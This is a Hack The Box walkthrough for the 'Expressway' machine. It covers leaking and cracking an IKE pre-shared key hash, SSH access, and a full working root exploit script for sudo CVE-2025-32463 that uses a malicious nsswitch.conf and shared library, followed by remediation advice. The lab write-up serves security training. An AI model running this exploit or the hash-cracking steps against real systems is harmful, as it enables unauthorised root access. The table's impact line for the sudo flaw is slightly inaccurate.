HTB: Expressway · Linux · Easy Walkthrough

TL;DR#

IPs#

Hack The Box assigned the IP address 10.10.11.87 for Expressway. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.

Kill Chain#

IKE Aggressive Mode ➜ PSK Leak ➜ Hash Cracking (IKE-PSK SHA1) ➜ ike ➜ Sudo 1.9.17 Chroot PE: CVE-2025-32463 ➜ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan only lists one TCP port, 22/ssh:

bash

┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 19:12 UTC
Nmap scan report for 10.10.11.87
Host is up (0.049s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.67 seconds

nmap

Port scanning Open cheatsheet

-sC -sV grab service versions and run default scripts, -p- hits all 65535 ports, and --min-rate 10000 pushes packets fast.

UDP Scan: nmap#

SSH alone won’t get me in, so I sweep top UDP ports:

bash

┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ nmap -sU --top-ports 1000 --min-rate 10000 10.10.11.87
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-26 15:14 EDT
Nmap scan report for 10.10.11.87
Host is up (0.030s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
500/udp   open   isakmp
17673/udp closed unknown
21784/udp closed unknown
28543/udp closed unknown
34855/udp closed unknown
48189/udp closed unknown
48761/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds

nmap

Port scanning Open cheatsheet

-sU runs a UDP scan, --top-ports 1000 hitting the top 1000 UDP ports, and --min-rate 10000 fires fast.

IKE Enumeration: ike-scan#

Interesting! UDP Port 500/isakmp is Internet Key Exchange (IKE), the key-exchange service for IPsec VPNs. That’s the whole box talking. I probe the IKE service in aggressive mode. Aggressive mode is sloppy by design, it sends a hash of the pre-shared key back before authentication finishes:

bash

┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ ike-scan -A -M --pskcrack=hash.txt 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87   Aggressive Mode Handshake returned
        HDR=(CKY-R=8d06c9900b75053b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.026 seconds (38.95 hosts/sec).

-A forces aggressive mode, -M prints each payload on its own line, and --pskcrack=hash.txt writes the leaked PSK hash straight to a file for offline cracking.

Three gifts in one shot: a crackable PSK hash, username ike and the host expressway.htb! I append the domain directly to my /etc/hosts:

bash

echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts

Initial Foothold#

IKE-PSK SHA1 Hash Cracking: hashcat#

The leaked hash is a standard IKE-PSK SHA1, which maps to hashcat -m 5400:

bash

┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ hashcat -m 5400 hash.txt /usr/share/wordlists/rockyou.txt
<...>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: 00b984b481dbcc37fbd1cde468ad38658c00756f6b83205b52f...f2690f
<...>
┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ hashcat -m 5400 hash.txt /usr/share/wordlists/rockyou.txt --show
00b984b481dbcc37fbd1cde468ad38658c00756f6b83205b52f7a626479c1b1ceeaec9c6f9538f4a2734524b9265cce4fde754b1308a7280e4899a075d33b88148c68224db055a1af6d56f273c97f1e9befa7d6bf1ca33ef9d1dabc5ea30bb469c97330b6998e11c3d66b38a62544b540a053366c520c5cdf3068ba99bb86326:1c23312110f81c892cf9fd321581a9bff44d20063bf0e848fca139ff72a1f030e325f130d61152f820f729f1616bee7d293053272cedc8b0fee883dd4f752fde9ed751f88e6a8a52d6396d57ee22389ff1e3cde4fc5a1801bc29b7fdadedf328c5f1aa679c8fda507bf2b5132bc4527767e82de56ec118f5550e1617fefd6486:8d06c9900b75053b:e4ab08326989e29b:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:d6f17791ad4cea09d93ce85e10e30504171b2747:3f27a7bc8ffa1918855fc8bd71d4a043e686076400289e1834d31a7aa5700243:3c18f35ff370b3a5453366c27f5bf75345f2690f:freakingrockstarontheroad

hashcat

Offline cracking Open cheatsheet

Cracked!

Username: ike
Password: freakingrockstarontheroad

SSH: ike#

I reuse the cracked hash as SSH password for ike:

bash

┌──(kali㉿shadowcat)-[~/htb/writeups/expressway]
└─$ ssh ike@expressway.htb                                    
The authenticity of host 'expressway.htb (10.10.11.87)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password: freakingrockstarontheroad
Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 26 20:24:56 2025 from 10.10.4.4
ike@expressway:~$

Great! Let me have a quick id check and list the home folder:

bash

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ ls -al
total 32
drwx------ 4 ike  ike  4096 Sep 16 10:23 .
drwxr-xr-x 3 root root 4096 Aug 14 22:48 ..
lrwxrwxrwx 1 root root    9 Aug 29 14:57 .bash_history -> /dev/null
-rw-r--r-- 1 ike  ike   220 May 18 22:58 .bash_logout
-rw-r--r-- 1 ike  ike  3526 Aug 28 12:49 .bashrc
drwxr-xr-x 3 ike  ike  4096 Aug 28 12:29 .local
-rw-r--r-- 1 ike  ike   807 May 18 22:58 .profile
drwx------ 2 ike  ike  4096 Sep 16 10:21 .ssh
-rw-r----- 1 root ike    33 Sep 26 20:11 user.txt

User Flag#

I catch the user flag:

bash

ike@expressway:~$ cat user.txt
1a533ebe77fd71564dd3b955b7c04b97

Privilege Escalation#

Sudo 1.9.17 Chroot PE: CVE-2025-32463#

I check sudo rights, but ike got none. I also check the version:

bash

ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password: freakingrockstarontheroad
Sorry, user ike may not run sudo on expressway.
ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

sudo-abuse

The holy trinity Open cheatsheet

The running sudo version is vulnerable to CVE-2025-32463. In versions before 1.9.17p1, the -R/--chroot option, meant for running commands in a chroot environment, wrongly handles user-controlled Name Service Switch (/etc/nsswitch.conf) configurations. By pointing it to a directory containing a malicious configuration and shared library, I can trick sudo into executing arbitrary code as root. Let’s craft a quick shadowcat.sh script:

bash

cat << 'EOF' > shadowcat.sh
#!/bin/bash
cat << 'C_CODE' > sc.c
#include <unistd.h>
__attribute__((constructor)) void sc(void) {
    setreuid(0,0); setregid(0,0);
    execl("/bin/bash","/bin/bash",NULL);
}
C_CODE

mkdir -p shadowcat/etc libnss_
echo "passwd: /shadowcat" > shadowcat/etc/nsswitch.conf
cp /etc/group shadowcat/etc

gcc -shared -fPIC -Wl,-init,sc -o libnss_/shadowcat.so.2 sc.c
sudo -R shadowcat shadowcat
EOF

And execute it with a simple one-liner:

bash

ike@expressway:~$ chmod +x shadowcat.sh && ./shadowcat.sh

Exploited, I’m root!

bash

root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)

Root Flag#

Expressway is pwned, I capture the root flag:

bash

cat /root/root.txt
8054fc03559048aef537721119cf6ca3

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Expressway:

Vulnerabilities Summary#

vulnerabilities

Vulnerability	CVE / CWE	Severity	Root Cause	Real-World Impact
IKE Aggressive Mode PSK Disclosure	CWE-522	High	The VPN endpoint answers aggressive-mode handshakes and returns a hash of the pre-shared key before authentication completes.	An unauthenticated attacker captures the PSK hash and cracks it offline to gain valid VPN and SSH credentials.
Weak Pre-Shared Key	CWE-521	High	The PSK is a dictionary word present in common wordlists.	The leaked hash falls to a fast offline crack, and the same secret is reused as the SSH password for the ike user.
Sudo Chroot Privilege Escalation	CVE-2025-32463	Critical	Sudo before `1.9.17p1` wrongly handles `nsswitch.conf` when using the `-R`/`--chroot` option.	A low-privileged user runs commands intended only for another host and escalates straight to root.

Remediation#

Disable IKE Aggressive Mode (CWE-522)#

Aggressive mode should never face untrusted networks. Force main mode on the IPsec daemon and restart it:

bash

# /etc/ipsec.conf
# conn <name>
#   aggressive=no

sudo systemctl restart strongswan

Enforce Strong PSK and SSH Password (CWE-521)#

Replace the guessable PSK with a long random secret, and prefer certificate-based authentication where possible:

bash

openssl rand -base64 48 | sudo tee /etc/ipsec.secrets
sudo systemctl restart strongswan

Also the PSK doubled as the SSH password, so rotate the ike account password and stop reusing secrets across services:

bash

sudo passwd ike

Patch Sudo (CVE-2025-32463)#

Upgrade sudo to 1.9.17p1 or later so the chroot environment option properly handles Name Service Switch (nsswitch.conf) configurations before running commands:

bash

sudo apt update && sudo apt install --only-upgrade sudo
sudo --version